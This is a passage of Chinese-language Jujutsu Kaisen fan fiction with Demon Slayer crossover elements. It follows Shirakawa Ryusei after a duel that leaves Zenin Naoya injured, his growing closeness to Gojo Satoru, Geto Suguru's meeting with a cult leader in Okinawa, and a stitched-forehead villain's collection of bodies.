能量凝结成的剑刃,达到白川琉世身前,触之即散。魔虚罗停在原地,头顶上的转轮发出转动的声音。 “嘁,算你运气好。”禅院直哉焦躁起来。 这家夥的所谓呼吸法,竟然能达到简易领域一样的功效。 白川琉世平静地看着魔虚罗,等待着分析转轮后的形势—— 转轮,怎麽往回转了?不对,又转回来了,又转过去了? 白川琉世和禅院直哉眼睁睁地看着魔虚罗头顶的转轮,像卡住之后被一只手不停前后拧动一样,前前后后,不知道往哪转。 维持着凪的白川琉世,没有轻举妄动。 突然,哗啦一声,转轮似乎被“拧”到了极限,从魔虚罗头顶掉了下来。! 这算是……? 他下意识地看向禅院直哉,发现对方也是很震惊的样子。 魔虚罗的身体扭曲了几下,高高举起剑刃—— 白川琉世握着刀柄的手一紧,严阵以待。 但眼前那个大块头,却和自己的剑刃一起,崩裂成了无数片细小的碎片。魔虚罗的身体碎片,自杀攻击一样无差别扎在领域的壁上。 “不是?怎麽回事?” 领域消散,黄昏的阳光照了进来,顷刻间就把一切吞噬。 他依旧站在擂台上,安然无恙,不远处,禅院直哉躺在地上,人事不省,身体上布满碎片扎进的血洞。在魔虚罗崩溃时,碎片对他造成了重创。 嗯?虽然这话说的有点不合时宜,但是刚燃起来,怎麽就出现意外了? “琉世!” “禅院?” 等的心焦的两夥人终于看到结果了,只是没想到其中一个受了这麽重的伤。家入硝子马上上台为禅院直哉做急救,而白川琉世在大家围上来之前,对五条悟眨了眨眼睛。 “刚才我超帅的,可惜悟没看到。” “噗。” 之前太紧张,神经紧绷的厉害,忽然放松下来,五条悟对白川琉世的特意搞笑,反应比往常要大。 笑够了之后,他问白川琉世,“你们在领域里待了九十秒,发生了什麽?禅院直哉又是怎麽回事?” 只有这麽短的时间吗?白川琉世有些惊讶,在领域里的时候,他的大脑每一秒都高速运转,感觉时间无比漫长。 刚想回答,他忽然想起了什麽,转头对京都校的人大声说,“不是我下的手,我真的一下还没来得及揍他。” “禅院怎麽样了?”夜蛾询问家入硝子。 “还活着。”禅院直哉的伤势在女孩的手中逐渐减轻,“但有一些伤口,不是咒术导致的,用反转术式效果不大。” 金发的少年躺在地上,双眼紧闭,衣服几乎碎成破布,深色的衣料染上大片暗红的血迹。 白川琉世走过去,看到家入硝子指出的那些伤口,无一例外都是魔虚罗那把剑的碎片造成的。 “啊,原来是这样,是有一股很奇怪的正向能量吧,和咒术师们所用的负向的咒力相反,但也不是反转术式的能量。” 家入硝子点头,“没错,那些伤口只能靠禅院自己修复了。” “领域里面到底发生了什麽?”乐言寺严肃地问。 “喂喂老爷爷,别一副我是杀人凶手的样子。你们京都校带这麽危险的东西上台,这还叫姐妹校吗?” “这点确实是禅院的问题。”乐言寺没有包庇自己的学生。 “我一次把话说清楚,如果那家夥死了的话,跟我没有任何关系。” 第27章 怎麽给wtw当狗就没问题? 傍晚,校长室里。 秃头,但长眉毛长胡子的乐言寺校长,正坐在夜蛾对面喝茶。 东京校上一任校长任满离校,下任校长夜蛾的调令已经下发,夜蛾也在几天前搬进了校长室。 以夜蛾对对方的了解,两人还没寒暄两句,话头就直指白川琉世。 “白川的剑招,能创造出类似简易领域的效果,夜蛾,你对这件事了解多少?” “琉世说了,那是他刚刚领悟的能力。至于鬼杀队的那些东西,我并不比总监部了解的更多。” 白川琉世的呼吸法如此强悍,夜蛾正道不信总监部没有偷偷调查过。 乐言寺表面波澜不惊,心底却十分震惊。简易领域由平安时代的咒术师芦屋贞纲发明,是真阴流的招牌技能,也脱胎于剑道。如果白川琉世依靠对剑技的理解,创造出类似的领域,其天分不亚于东京校的两个特级。 “夜蛾,你要做好准备了。” 乐言寺点到为止,夜蛾也明白他的意思。今天以后,总监部会大幅度提升对白川琉世的关注。 不过,总监部的那群老头子相当不识货,琉世的那些杀招,一个个都看不上,只有这个类似于“领域”的剑招才被承认,实际上还是对白川琉世野路子的一种看不起。 “禅院家那边……” “这个你不用担心,只要禅院直哉这次没死,禅院直毗人就还没那麽糊涂。” 夜蛾表示那就好,心想万一禅院家不依不饶,也无所谓,白川琉世意外的和五条悟特别合得来,现在已经属于五条家保护伞下的人,尽管他本人或许还不知道。 这段时间五条悟出人出钱出力,安排自己家的术师推荐白川琉世升级,出钱打通关系,但阻碍势力也相当顽固,费了相当大的力气,势必要把白川琉世卡死在四级。 不过,处于旋涡中的那个人,目前倒十分平静。 禅院直哉因为伤势过重,今晚暂时留在东京校治疗,京都校的一群人因为天色已晚,也住下了。 反正不管哪个咒高,空房间都多的是。 是夜,等到家入硝子的邮件后,白川琉世摸到了她的治疗室。 “人醒了。”疲惫的学姐为他开门,“这里禁止打架。” 白川琉世钻进治疗室的门,房间里摆着几张床,没有铺床单,金属的材质泛着寒冷的光泽,与其说病床,不如说更像专门停尸的地方。 白川琉世毫不怀疑,这些床位用作停尸的时候更多。 禅院直哉穿着白色的病号服,直挺挺地躺在金属板上,对上白川琉世俯视的视线,本来还算平静的表情马上扭曲了。 白川琉世本能地做出捂耳朵的动作。 侮辱性有点大了,禅院直哉怒道:“你什麽意思?” 能有什麽意思,只是有种这个人开口一定很刺耳的感觉。 “嘘,”白川琉世伸出食指晃了晃,“我有点事想问你,我问你答,多余的话不要说。”他转身问家入硝子,“前辈,如果他说话很难听,我偷偷做掉他没关系吧?” “没关系哦,需要我回避吗?” “不用,太晚了,待在这就好。” 禅院直哉一双上挑的眼睛,无论在想什麽都一副使坏的样子,“你想问什麽呢,琉世?让我猜猜,那把咒具?魔虚罗?还是我为什麽想杀了你?” 白川琉世:…… “我不是都说了,多余的话不要说,真不怕我杀了你?” “开什麽玩笑,就算你长得再凶,再怎麽威胁我,”禅院直哉笑得很愉悦,“你这种人是不会杀人的。”? “我们以前见过吧,你以前很了解我?” “你的脑子是不是……”刻薄的话还没说完,就在白川琉世右手拇指顶开剑鞘的动作中逐渐消声。 “人本来就不会清楚地记得小时候的事,更何况,我失忆过。”白川琉世拉出一把椅子坐在床边,因为失忆的时候年龄太小,他没有当回事,还以为是小时候磕坏了脑子。 但是,前段时候出现的脑门上有缝合线的人,虽然想不起来,但总觉得和禅院两个字有关,再加上那座奇怪的神社和他自己灵魂的秘密,那个缝合线肯定在谋划些什麽。 这种从小就被奇怪的人盯上的可能,太令人毛骨悚然了。 他没打算直接去禅院家问,但禅院直哉不是正好在这麽。 “失忆?你不是忘了?” “对,失忆。我们之间有什麽深仇大恨吗?” 那时候,两个六七岁的小孩能结下什麽仇,让十年后的禅院直哉直接想杀了他。 他小时候是个遵纪守法的乖孩子啊,虽然绊子说他有点理解不了人际交往的弯弯绕绕。 禅院直哉睁圆了眼睛,一瞬间与白川琉世对视了,那双十年间,不时会出现在他噩梦里的眼睛,带着轻微且真实的疑惑。 失忆了,不也是忘了吗?可恶可恶可恶可恶可恶,凭什麽只有他一个人因为这个烦恼,对方就能风轻云淡地什麽也不记得? 眼前的人又不太正常了,白川琉世把刀鞘横在禅院直哉的脖子上,“还能不能好好说话?” “……能。” 禅院直哉:隐忍。 “那接着回答。” 但他怎麽会说实话。 禅院直哉错开对方的视线,“哈,琉世,你忘了自己非要去惩戒室,差点把我害死的事了?” 白川琉世反而嗤笑出声。 “你真是个谎话连篇、心地丑恶的人啊。” 这种鬼都不信的话拿来骗人,他真是傻了去问他。 “好了好了,叙旧就这麽结束吧。反正也肯定是你自己的原因,然后做了搬起石头砸自己脚的事,这种事很符合你的结局。” 禅院直哉身体猛的一抽搐,挣扎着起来,看起来拼着重伤也要把白川琉世咬死。 “家入前辈,他是不是要咬人?你会治疗狂犬病吗?” “白、川、琉、世!” “咦,红温了诶。” 家入硝子慢悠悠地踱步过来,“现在是下班时间,伤口因为你自己的原因恶化的话,我不会再管了。” 禅院直哉失了力气,瘫在床上急促地喘息。 白川琉世戳了戳瘫在床上的人,“喂,认真的,你们家有没有额头上有缝合线的人?” 额头上有缝合线……禅院直哉走了下神。 “喂,你果然知道吧。” “当然。”禅院直哉露出微妙的笑容,“你问的那个,也不算什麽秘密。当初教导你的师父禅院隆,说是做任务时破了相,额头上顶着道缝合线到处跑。说起来,那个家夥死的可惨了,他死了之后,你马上就被送走了,真是绝妙的巧合,对吧琉世?” 话里话外都表明其中肯定有惊人的隐情。 “然后呢?”白川琉世眨了眨眼,一脸认真地看着对方。 然后?禅院直哉生出一股无名火来,这家夥哪来这麽单纯的想法,问了就一定要告诉他吗? 当年的事,那个“缝合线”以为他年纪小,和白川琉世又不对付,随便把他哄走了。但是,禅院直哉从来都不觉得自己是好糊弄的人。 他不认为那个东西,是禅院隆本人! “禅院隆”死后,他对这件禅院家避之不谈的事做了调查,一开始并没有人告诉他什麽,后来他年龄大了,家里人对他的口风没那麽紧了,但事件现场早就随着时间的流逝变得面目全非。 就算如此,他也不惜动用珍贵的咒具,复刻了当时的景象。 没脑子的白痴,这是他对白川琉世唯一的评价。 咒具显示的影像表示,琉世被带到一个没人的房间,等待他的是贴了满屋子的咒文,“禅院隆”在他脑门上贴了个血红的符咒,白痴忽然挣扎了起来,但为时已晚。 “一切顺利的话,希望我们能快点见面。” 这是禅院直哉最后听到的声音。 后来他去查了很多数据,隐约可以明白,符咒是千年前诅咒师曾用过的那种,作用大概是……提取咒灵、妖怪或者魔物的力量? “可笑,琉世,你就这麽眼巴巴的,像一个等别人给你肉骨头的狗。”禅院直哉被取悦了,笑得伤口一阵阵抽痛,“我知道你感兴趣的东西,但为什麽告诉你呢?” 白川琉世沉默了一小会,看向禅院直哉的眼神闪过危险的光。 禅院直哉:这个天真的家夥不会用私刑的…吧。 “我可以告诉你,不过你得答应我一个条件。”依然在一旁的家入硝子,给了禅院直哉一点勇气,“转学去京都校,毕业后,加入禅院家的躯俱留队,工作五年,不,十年。如果你答应,我现在就可以告诉你。” “你怕不是脑子被打傻了。”白川琉世吃惊到无语,“几句话就让我卖给你十几年,你们那破地方别说打工了,家主我都不稀罕做。” “哈,直哉,虽然你其他地方没有可取之处,不过眼光还是挺好的嘛。” 这个声音…… “悟?” 五条悟推开门,不知道是刚来,还是听了一会了。像猫一张轻手轻脚地踱步进来,嘴里还含着一根棒棒糖。 “是吗,但是你的眼光挺差的,悟君。” 两个人短暂地隔着墨镜对视了一下。 “啊,好可怕。”家入硝子语气平淡地说,“我还是先溜好了。” 女孩像脚下生了风一样快速离开。 “悟,这次的伴手礼,你喜欢吗?”白川琉世全然忘了这是什麽场景,充满期待地询问。 “超——喜欢!”五条悟展开笑容,“特别是毛豆生奶油口味的,老子第一次吃到这麽完美的甜点。” “诶?夸张的吧,真的吗?”白川琉世嘴角羞涩地弯起,又忍不住扬起过于灿烂的笑容。 两个人之间的气氛,融洽到让人想吐。 “简直和摇尾乞怜的狗没有区别。”禅院直哉冷嘲热讽,“哎呀,就算抱上悟君的大腿,也不会有多少好处哦,你这一生也就止于四级咒术师了吧。” “你懂什麽,四级咒术师才是最有潜力坐上咒术总监位置的人。”白川琉世丝毫不觉得自己被威胁到了。 “老子本来一直不明白,你们禅院家为什麽一定要卡琉世的级别,看来是你的原因吧。”五条悟不爽地嘁了一声,“还没长大的小橘子就烂到这种程度。” “你花那麽多钱打通关系,想给琉世这个白痴升级,是没有任何意义的。悟君,再交一些不三不四的朋友,你很快就会变得和他们一种档次了。” 明明小时候五条悟还好好的,高高在上做他的六眼,对谁都懒得理睬、不屑一顾,那样倒还符合禅院直哉的审美。后来上了咒术高专,脑子好像被贫民草包咒术师们同化了,这让跟风上了京都校的禅院直哉很不理解。 “花钱给我升级?” 白川琉世的眼睛闪过错愕。 级别这种事,他自己也不怎麽在意,就像食堂没有供应他喜欢的餐点,遇到的时候抱怨一下,不爽就消失无踪了。 人生十几年,对他好的人有很多,但在这种问题上,大概都会安慰他,“没关系,琉世只要做好自己该做的就行了。” 那也没办法,他明白。 刀再锋利,也只能斩断有形之物。他不能提着刀,斩断偏见、隔阂和不公。 那些难缠的问题,因为暂时无法解决,被他踢到一旁当人生的背景板,主打一个眼不见为净。 但是没想到会有人放在心上,想为他解决这些问题,更可怕的是,还不告诉他。 “诶?被发现了哦,怎麽样琉世,是不是超感动,感动到要哭出来的那种。”五条悟一点没有不好意思,露出灿烂张扬的笑容,“这是对努力后辈的奖励哦,奖励。” “当然超感动了!谁会不感动啊!你、你对每个努力的后辈都这样吗?” “当然——,”拉长了声音,在白川琉世忐忑的眼神中,五条悟的声音轻轻落下,“不是咯。” 禅院直哉:? 干什麽啊? 恶心! 什麽玩意? 恶心恶心恶心! 为什麽要这麽对视?五条悟戴着墨镜,琉世你能看见什麽?你看得明白吗你就看? 真是一条摇尾乞怜的狗,别人给点小恩小惠就感动的不得了。 白川琉世到底在装什麽啊?在他那里就一副道德完人,清高的不得了的样子,怎麽给五条悟当狗就没问题?废物废物废物没有咒力的废物,有咒力更废物的废物! 白川琉世:…… “你那是什麽眼神啊。”他怒斥禅院直哉,“虽然没说出来,但我听到你在脑子里骂我了!” “咦?直哉,你还在这?”五条悟假装惊讶,“如果老子把家里压箱底的咒具用掉,还把最大的杀手锏搞碎掉的话,早就收拾东西逃出日本了。” 第28章 明天去水族馆吧 “魔虚罗是禅院家十影法的杀手锏,最强大的一个式神。禅院家历史上,只有一个人调服过魔虚罗。” “啊,那个把领域展开存储在咒具里的人。” 电灯闪了一下,冷白的光盈满了房间。 两人走进五条悟的宿舍,白川琉世根据指示,生疏地打开柜子,从里面摸出来两罐可乐。 餐桌上摆着一个电子表,时间显示为夜里两点多,今夜未眠的不仅是他们两个,两校的校长也绝对睡不着觉,怕禅院直哉就这麽死在交流会上。 五条悟坐在凳子上,伸了个懒腰,腿直接伸到对面白川琉世的范围中。 咔嚓。 打开一罐可乐,白川琉世先推到对面。 “在魔虚罗的调伏仪式中,它会对调伏者展开攻击,调伏者必须打败它才能完成调伏,否则会被他杀死,很危险是吧。” “那家夥的‘适应’太无解了,如果不是出了意外,我可能也会被杀死。” “关键在那个‘意外’上,琉世,你仔细回想一下,魔虚罗的情况,属于暂时‘崩溃’,还是永远‘消失’。” “崩溃……消失?”与魔虚罗的交手还不到半分钟,这场战斗的信息已经足够让他摸不着头脑了,但是,他还是有了些猜测,“一开始,我只是在躲避魔虚罗的攻击,他适应的只有我的速度。魔虚罗头上的转轮,在我第一次使用呼吸法时开始转动,意外也是这时候发生的,魔虚罗它……好像适应不良?” “适应不良?”五条悟的墨镜滑落,露出一双流光璀璨的眼睛。 魔虚罗可以适应一切,传说或许没错,但是,如果真的出现无法适应的情况呢? “只是我的猜测,但是,呼吸法完全是身体的技艺,魔虚罗没道理连术式都能适应,就是适应不了呼吸法吧。” 白川琉世皱眉,他的日轮刀放在桌子上,一只修长的手在刀柄上摩擦。 “它到底是重新回到禅院家用来召唤式神的地方,还是消失了,我分辨不清。本来我就不熟悉式神这种东西,这还是第一次见呢。” “哈哈哈哈哈,琉世,这就叫自作自受。”五条悟畅快地笑起来,把可乐罐子捏凹了一点,“如果禅院直哉把魔虚罗搞没了,他老爹会直接杀死他,绝对的。” “那让家入前辈救他不是多此一举?” “没错,他这种白痴根本不值得硝子加班。” 把禅院直哉形容琉世的称呼,还给他自己,五条悟对此很满意。曾经发生在禅院家的事,不管是琉世的过去还是缝合线的阴谋,他也会想办法调查清楚,一点也没有和直哉那个白痴交流的必要。 “糟了,那这麽说。”忽然想起了什麽似的,五条悟略显尴尬地用小指挠了挠脸颊,“惠使用的十种影法术,有可能变成九种影法术了?” 五条悟不算武痴类型的好战份子,没有必要的话,并不想和魔虚罗交手,几百年前的六眼可是和十影法同归于尽了。但是,如果有不得不战斗的那天,他也很好奇魔虚罗的‘适应’是种怎样的强大。 “嗯?”白川琉世有些出神地看着五条悟,有一搭没一搭的玩着刀鞘上的黑色绑绳。 “惠啦,伏黑惠。”想起这件事琉世还不知道,五条悟解释,“禅院家的小孩,因为种种原因流落在外了,前段时间还恰好觉醒了禅院家最珍贵的术式——十种影法术,我就花十亿把他买下来了。” “诶?” “诶?什麽?” “小孩?买?十亿?禅院家的?你买?” 这还是日文吗?他怎麽听不懂了! 白川琉世伸出双手,同时在自己两颊上拍了一下,“悟,你说的话,是字面上的意思吗?” “是啊,很惊讶吗?现在不负责任的父母太多了,惠小学一年级,就和没有血缘关系的继姐生活在一起,只要倾注一点爱心,就能给年幼失怙的孤儿一个家,只是恰好附带一个十种影法术,老子真是做了大慈善。” 白川琉世陷入“一点爱心”等于“十个亿”的等式中,怀疑自己对货币的理解出了问题。 五条悟是大少爷他知道,但是是这种级别的大少爷吗?还有…… “买卖人口是犯法的吧,悟?” “是合法收养啦,现在老子是他的监护人。” “你才几岁,收养一个小学一年级的……,算了,有钱人做什麽都没有阻碍,这点我早该明白了。”白川琉世喝口可乐压压惊,“不过,他?是个男孩吗?” “是男孩,名字是不是很可爱。” 被五条悟的情绪传染,白川琉世也笑了起来,“听起来是个长相可爱的男孩。” 想起那张和伏黑甚尔非常相似的脸,五条悟沉默了。 “不过,是因为十种影法术,你才收养他的吧。”白川琉世敏锐地指出,“被父母抛弃的孩子并不少,惠又是禅院家的人,收养他很麻烦吧,不然也不会花这麽多钱。” 五条悟没有否定这点。 “为什麽呢?” 白皙的手指,指尖泛着好看的淡粉色,伸进鼻梁架里把墨镜推了出来,五条悟完全展现出自己的面容。 白川琉世看着他,屏息凝神,目眩神迷地眨了眨眼睛。 他真好看。 可能是白发的原因,五条悟的色素比其他人要浅一些,肌肤像白雪的白流淌上去,眼神转动间,虹膜有碎光流转,睫毛的浓度、嘴唇的颜色也无法令人生出任何指摘。 充足的室内光线,带着与展厅等地相同的公事公办的冷淡光泽,使他脸上的细节纤毫毕现,宛如陈列在真空玻璃柜中的标本。 有那种术式,和一直处在真空玻璃柜里也没区别。 真是美的标本。 大家不是在暗的地方更好看吗?特别是在精心设计打光后,拍出来的照片和视频更好看。新生代演员总是被说没有昭和时代的漂亮,不过是因为过于清晰的摄影放大了演员脸上的瑕疵。 但五条悟不同,那张脸是越清楚地看,越觉得美丽的东西。 “因为……” 轻哑的嗓音拉回了白川琉世的注意力。 “我想培养更多强大又聪明的夥伴了。你也看到了吧,现在的咒术界,让总监部的老烂橘子和世家的小烂橘子搞得乌烟瘴气,我想改变这种现状。但是,杀光上面人,终归也会换一批同样的烂橘子上去,不会有什麽改变。嘁,真的麻烦死了。所以,我想通过教育,培养优秀的夥伴,这样以后的局面肯定会变好吧。对吧,琉世?” 白川琉世凝神听着,不知道自己那张不近人情的脸,正笑得非常温柔。 “真是了不起,悟。” 在咒术界糟糕的环境和恐怖的工作压力下,十八岁的五条悟心生厌烦,下了一个决定。 这个决定既不是杀光咒术界的高层,也不是消灭普通人暴政,世界属于咒术师,或者反过来杀掉咒术师,保留普通人,更不是我要创造一个XXX(随机填空令人头疼的词汇)的世界。 他竟然只是想当个花匠,培养更多好人,让良币去驱逐劣币。 他竟然只是想去创造一个(更好的)世界。 用的还是这麽守序善良的方式。 虽然没有具体的方针,这句话显得空中楼阁,乃至于有点做梦了。 但是,这也太…… “悟,你会和小动物说话吗?” “小动物?不会,这是什麽术式吗?”五条悟甩着眼镜腿玩,警惕地看着白川琉世,“你那是什麽表情,要嘲笑老子吗琉世?” 太可爱了吧! “不不不不不,”白川琉世压压嘴角,“我觉得这样的想法超棒的!以后是不是要叫你五条老师?” 听着白川琉世不停叫着五条老师,语气有点耍赖,好像真的是学生在向他撒娇一样,五条悟也有些飘飘然。 “你也觉得帅哥五条老师的头衔不错吧。” 白川琉世看着五条悟的脸,想起上次来这里时,就算偷偷看着睡着的悟,也十分无措,现在却能自然地直视他的眼睛。 “是是,如果你毕业就留校,说不定还能做我的老师呢。” 话音刚落,两个人的心底都被击中了。 教师和学生这可真是—— 不对不对,白川琉世把莫名其妙的画面打散。 “啊对了,最重要的事忘记问了。夏油前辈怎麽了?我听家入前辈说,他是不是心情不好罢工了?” “老子不久前和杰通过电话了,和硝子说的大差不差,那家夥把工作丢下,自顾自跑去冲绳度假了。” “那就好那就好,偶尔叛逆一下有利于身心健康。”白川琉世松了口气,“最近总觉得夏油前辈状态不对。” “杰啊,有段时间没见过他了。”五条悟这才想起,已经有半个月没见过自己的挚友了,“杰是不是瘦了好多?” “是吧!”白川琉世用力点头。 硝子是不是也说过杰不太对劲?五条悟想起女同学的话,还有白川琉世发过的短信。 “杰回来后,老子会找他谈谈的。” 工作太累了吗?还是迟来的青春叛逆期? 翘掉个人赛不像是杰的风格。难道遇到了什麽棘手的难题? 不过,冲绳的话,杰不会还惦记着那件事吧。 “夏油前辈去冲绳了啊。”白川琉世迟疑了一下,摸了摸口袋,又想起让伊地知偷来的那份任务报告。 [保护“星浆体”天内理子,确保其安全抵达东京咒术高专薨星宫,与天元大人完成同化。] 在那之后,他弄清楚了薨星宫、天元大人和星浆体到底是什麽意思。 这些本来就不是什麽隐秘,很容易就打听到了。原来薨星宫就在学校下面,天元大人活了上千年,此时就在薨星宫的某个结界里待着。 那个叫天内理子的星浆体女孩,与天元大人同化后,就会死去。 悟和夏油前辈的护卫任务为期三天,护卫一个注定要死去的女孩,这多少有点黑色幽默了。 不过,第二天去了冲绳吗…… 同一时间,两人想到了同一件事。 犹豫了一会,白川琉世还是从口袋里掏出两张票。 “真是好巧,说到冲绳,我这里有两张美丽海水族馆的票。”把票推到桌子中间,白川琉世手心微微出汗,“后天的票,要一起去吗?如果,如果没有任务的话。” 那是绊子寄到学校的,本来是客户送给她和她老板的,但水族馆只有白天营业,绊子的老板愈史郎先生是鬼,很遗憾不能亲自游玩,就把票送给他了。 “冲绳?”五条悟眼中漾开笑意,“现在的海水应该很漂亮。” “ 是啊,说不定还能遇到夏油前辈。” “杰不会待这麽久,现在是夏忙期,失踪到后天他就直接上诅咒师通缉令了。” “好没人性!” “就是啊,总监部那些没人性的烂橘子。”五条悟少见地操心别人,“今天的事后,总监部肯定会找你问话,琉世,不管他们说话有多讨厌,先刀下留情饶他们一命吧。” “没问题的,我哪有这麽沉不住气,禅院直哉我都留他一命了。” 能忍住不刀禅院直哉的含金量还在上升。 桌子上的那两张票,其中一张,被一只指尖淡粉的手拿走了。 “如果有时间,琉世,别抱太大的希望。”不想说扫兴的话,但是五条悟也不能保证后天有能推掉的工作。 “没关系,就算后天去不了,还有下次嘛,我还是很想去那边的水族馆的。” 前年夏天,他去冲绳玩过一周,每天在海边游泳,晒太阳,捡贝壳。去年夏天,悟和夏油前辈去了冲绳,不知道他们在冲绳做了什麽,发生了什麽故事。 他和悟的过去毫不相干,即使去年冲绳发生的事多半并不愉快,他还是有种没参与感的失落。 不过没关系,白川琉世从不内耗。 想起九十九由基鼓励他的话, 青春没有售价,告白就在当下! 那就从冲绳开始,创造两个人新的回忆吧! 第29章 盘星教主香织 个人赛那天并不是理子的祭日。 说来惭愧,就算是他,也只是比悟更慢一些忘记理子。 但是,可以肯定的是,从去年夏天,一切都变质了。 遮阳凉棚下已经没有人了,褪去白日的暑气,碧蓝色的海变得黑沉沉的,凉风吹过,浪花带着有节奏的哗哗声涌上海岸。 并非有意,但那张桌子是之前他们坐过的那张。夏油杰来到的时候,自称为香织的女士正坐在悟坐过的位置,面前放着一杯还剩一半的柠檬水,看起来已经等了他一会了。 近一年,盘星教换了新教主,这事夏油杰是不感兴趣的,但是因为偶然的机会,他和新教主香织女士结识,两人一见如故,经常邮件联系。 [夏油,今天有没有兴趣见一面呢?] [当然有兴趣,时间上是……?] [就今天下午如何。] [下午我有点事,可以改天吗?] [真是可惜,如果今天没空的话,很长一段时间都不能见面了。] [好,地点是……?] 这是他和香织女士第二次见面,地点是一千多公里外的冲绳。 “抱歉,我迟到了。” 从中午开始订机票,直到傍晚才抵达岛国的最南端。 虽然翘掉了个人赛,但是……那种没意义的东西,不参加也无所谓。 “没关系,是我临时起意。”香织带着一顶宽沿草帽,在盛夏的海边非常适宜。 夏油杰偶尔因为对方的话展开笑颜,笼罩在心头的阴霾,只有和香织聊天时才能散去。 “今年我们的夥伴越来越多了,夏油,要不要考虑加入盘星教。”香织的杏眼,微笑时像猫一样半眯着,“我想创建一个只有咒术师的大家庭,大家会像家人一样互相理解的。” 夏油杰几乎马上要答应了。 “没关系,你还是咒术高专的学生吧,毕业之后,当一个正统咒术师,每个月安安稳稳地拿工资,或许对你来说是更好的选择。” “我……我考虑一下。” 香织并没有表现出失落的意思,喝光最后一口柠檬水,起身对他告辞。 “我知道你是我们的同伴,夏油。下次见面,希望我们不会变成敌人。” 不会的。 夏油杰瞬间在心底开口,但也只是什麽都没说,笑着和香织告别。 香织走后,夏油杰依旧坐在桌子前出神。 现在是暑假时间,海滩上人很多,全家出游的、情侣、和朋友结伴游玩的,发出阵阵尖锐的笑声,人群下饺子一样涌入海里,白色的□□攒动着,间或夹杂着几只蝇头在其中。 为什麽之前没有发现,这个世界上有这麽多人。 他逐渐分辨不清那些白色的□□和蝇头的区别。 手机发出提示音,总监部经过高专下发的任务,通过邮件发送到他的手机上。因为避免邮件漏发的情况,术师们接到任务后,需要回复邮件。 本来想点开的手指,看到那行预览的字。 [任务目标:特级咒灵地点:北海道……] 要从冲绳赶去北海道。 翻盖手机啪地一声,粗暴合上了。 之后,任凭手机再怎麽响,他也无动于衷。 从下午坐到深夜,海滩上的人走得一个不剩,身后酒店橘黄色的灯光,星星点点打在细软的沙滩上,让夏油杰莫名想起了小时候,妈妈总是在透着橘黄色灯光的家里等他回去。 从小能看到别人看不到的东西,拥有别人没有的能力,以保护普通人为己任——那种心情,不知为何,在升入高专两年多后完全变质了。 普通人中当然有好人,咒术师里肯定也有诅咒师,这是有点思辨能力的人都明白的道理。他竭尽全力去看普通人的善与咒术师的恶,但是,用空洞的道理就能糊弄过去他的疑问与痛苦吗? 很遗憾,他是个罕见的做人无比认真的人。 心的裂缝越来越大,维持天平的平衡也没有意义了。 如果选取一端,就要彻底舍弃另一端,彻彻底底地—— 手机铃声响起。 夏油杰看向桌上的手机,是五条悟的来电。 “杰?杰你这家夥在哪?任务不做,电话也不接,个人赛也翘掉,你跑到哪里去了!” “……冲绳。” “嗯?你去冲绳干什麽,秘密任务吗?” “不是,当做我去度假吧。” 五条悟抱怨了两句,夏油杰只是微笑着附和,眼睛望着前方,好像悟依旧坐在那个位置。 “好了好了,我明天就回去,要给你带伴手礼吗?” “不用了,既然去了就玩个痛快,不用惦记着这些琐事了。” “今天的个人赛,结果怎麽样?” “琉世赢了。”五条悟有些赌气,“不过,你不说一声就跑掉,这点老子无法原谅。” “抱歉抱歉。” 察觉不到别人的变化,一直这麽粘人可不行啊,悟。如果是他还好,对别人也这样的话,会被留在原地的。 …… 黑暗的卧室里,手机忽然亮起,伴随着刺耳的铃声,被一只从床上伸出的手捞起。 刚要狠狠按断电话,看到来电人,任务委派课课长小林睡意全无,接通电话后,下意识保持着端正的跪坐姿态。 “……是,是,有的,委托给五条悟和东京高专的白川琉世,考虑到他们有相同的经验,也都完美解决了……是,是,改为委派特级术师夏油杰,我这就去办……好的好的,不不,您太客气了,好的总务大人……非常荣幸,是是是……再见。” 等对面先挂断电话,小林长舒一口气,不知道总务为什麽忽然插手,把原本属于五条悟的任务拨给夏油杰。但高层天天打架,他才懒得猜测具体原因,把事安安稳稳办了,再熬十年他就能退休了。 相隔不远的一栋商业写字楼里,总务大人挂断电话,走到卧室门口,拉开房门。 卧室的床上躺着一个美丽的短发女人——除了没有额头以上的部位。缺失的部位就像手机台灯或插座一样,随便放在床头柜上。 总务没看女人一眼,来到占满一面墙的柜子前。 柜子空间很大,从打开的地方冒出阵阵寒气,总务一把拉开柜门,贴着墙面一字排开的,是站着固定在玻璃器皿中的人,整整齐齐,足有六个。 每个人都睁着眼睛,毫无神采地望向外面,每个人的额头上,都有一道整齐的缝合线。 总务是个身材高大的男人,五十岁左右,这个年纪了头发依旧很茂盛,浅浅遮住了额头上的同款缝合线。 简直像什麽中老年版鬼娃娃制造屋。总务在六个男鬼娃娃中挑选了一个,平淡地像挑选今天要系的领带,然后,掀开对方的头顶—— …… 个人赛第二天。 悟去做任务了,说是夏油前辈翘掉的任务被交给他了。明明昨天三点还醒着,没睡几个小时,就起床出差了。 太辛苦了。白川琉世宁愿总监部下发几个特级任务给他,这样不管五条悟还是夏油杰都能轻松一点。 把这话告诉夜蛾老师后,夜蛾笑了,“琉世,你觉得他们会让你闲着吗?” “不会。”白川琉世和伊地知、七海站在校长室,等着接夜蛾老师下发任务。 他们还是高专的学生,出于对未成年学生的热别照顾,如果不是人在外地来不及回学校,接任务的时候都要乖乖去找老师线下接的。 老师会根据任务的具体内容,给予学生指导。 当然,三年级的除外,那两个特级夜蛾已经不想管了。 “七海的是祓除二级咒灵,任务描述发到你手机上了,辅助监督总结的很详细,应该没问题。” 七海平静地点头,“我会按规定祓除的。” 七海一直很可靠,私心来讲,夜蛾愿称他为整个咒高综合起来最靠谱的学生。 “琉世的是祓除一级咒灵,”鉴于之前几个月,白川琉世祓除一级咒灵全部无伤,夜蛾也没有过多嘱咐什麽,“嗯……仔细看看任务描述,多和辅助监督沟通。” “没问题老师。”白川琉世听着,有一搭没一搭的弹着小鸡玩偶的脑门。 吓得夜蛾办公室的几个咒骸悄悄往桌子后面躲。 “最后是伊地知,”重头戏来了,夜蛾深吸一口气,“任务目标为三级咒灵,任务描述什麽的不多说了,老师知道你会看得很仔细,但是真正面对咒灵的时候,也要鼓起勇气,有时候,一味的躲避可能会遭到更大的伤害。” 伊地知脸红地低下头。 同学这麽优秀,他这麽废材,这真的正常吗? “但是,也要看情况,如果遇到超过自己实力的咒灵,可以撤退,必要时可以寻求辅助监督的帮助,有些辅助监督也有战斗能力。” 这是伊地知第二次出任务,上次也是祓除三级咒灵,但是他这个学生胆子有点小,看到咒灵吓得脸色煞白,一动不动,最后也没能动手。夜蛾既怕伊地知心里有障碍,迈不出祓除咒灵的第一步,又怕激他太过了,适得其反,让咒灵把他啃了。 